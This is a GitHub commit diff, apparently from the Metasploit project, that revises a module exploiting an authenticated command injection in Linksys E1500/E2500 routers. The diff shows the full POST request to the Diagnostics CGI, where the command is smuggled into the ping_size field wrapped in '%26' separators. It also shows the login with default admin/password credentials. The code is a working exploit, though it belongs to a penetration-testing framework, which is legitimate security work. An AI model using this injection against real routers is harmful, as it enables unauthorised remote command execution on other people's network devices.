Skip to content

Commit dcd2aeb

Browse files
author
m-1-k-3
committed
feedback included
1 parent 9fc0f9a commit dcd2aeb

File tree

1 file changed

+19
-19
lines changed

1 file changed

+19
-19
lines changed

modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb

Lines changed: 19 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -40,7 +40,6 @@ def initialize(info = {})
4040

4141
register_options(
4242
[
43-
Opt::RPORT(80),
4443
OptString.new('USERNAME',[ true, 'User to login with', 'admin']),
4544
OptString.new('PASSWORD',[ true, 'Password to login with', 'password']),
4645
OptString.new('CMD', [ true, 'The command to execute', 'ping 127.0.0.1'])
@@ -61,8 +60,8 @@ def run
6160
'authorization' => basic_auth(user,pass)
6261
})
6362

64-
return :abort if res.nil?
65-
return :abort if (res.code == 404)
63+
return if res.nil?
64+
return if (res.code == 404)
6665

6766
if [200, 301, 302].include?(res.code)
6867
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
@@ -81,32 +80,33 @@ def run
8180

8281
cmd = datastore['CMD']
8382
#original post request:
84-
data_cmd = "submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=1.1.1.1&ping_size=%26#{cmd}%26&ping_times=5&traceroute_ip="
83+
#data_cmd = "submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&
84+
#action=&commit=0&ping_ip=1.1.1.1&ping_size=%26#{cmd}%26&ping_times=5&traceroute_ip="
8585

86-
vprint_status("#{rhost}:#{rport} - using the following target URL: \n#{uri}")
86+
vprint_status("#{rhost}:#{rport} - using the following target URL: #{uri}")
8787
begin
8888
res = send_request_cgi(
8989
{
9090
'uri' => uri,
9191
'method' => 'POST',
9292
'authorization' => basic_auth(user,pass),
93-
'data' => data_cmd
94-
#vars_post not working?
95-
#'vars_post' => {
96-
# "submit_button" => "Diagnostics",
97-
# "change_action" => "gozila_cgi",
98-
# "submit_type" => "start_ping",
99-
# "action" => "",
100-
# "commit" => "0",
101-
# "ping_ip" => "1.1.1.1",
102-
# "ping_size" => "%26#{cmd}%26",
103-
# "ping_times" => "5",
104-
# "traceroute_ip" => ""
105-
# }
93+
#'data' => data_cmd
94+
'encode_params' => false,
95+
'vars_post' => {
96+
"submit_button" => "Diagnostics",
97+
"change_action" => "gozila_cgi",
98+
"submit_type" => "start_ping",
99+
"action" => "",
100+
"commit" => "0",
101+
"ping_ip" => "1.1.1.1",
102+
"ping_size" => "%26#{cmd}%26",
103+
"ping_times" => "5",
104+
"traceroute_ip" => ""
105+
}
106106
})
107107
rescue ::Rex::ConnectionError
108108
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
109-
return :abort
109+
return
110110
end
111111
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
112112
end

0 commit comments

Comments
 (0)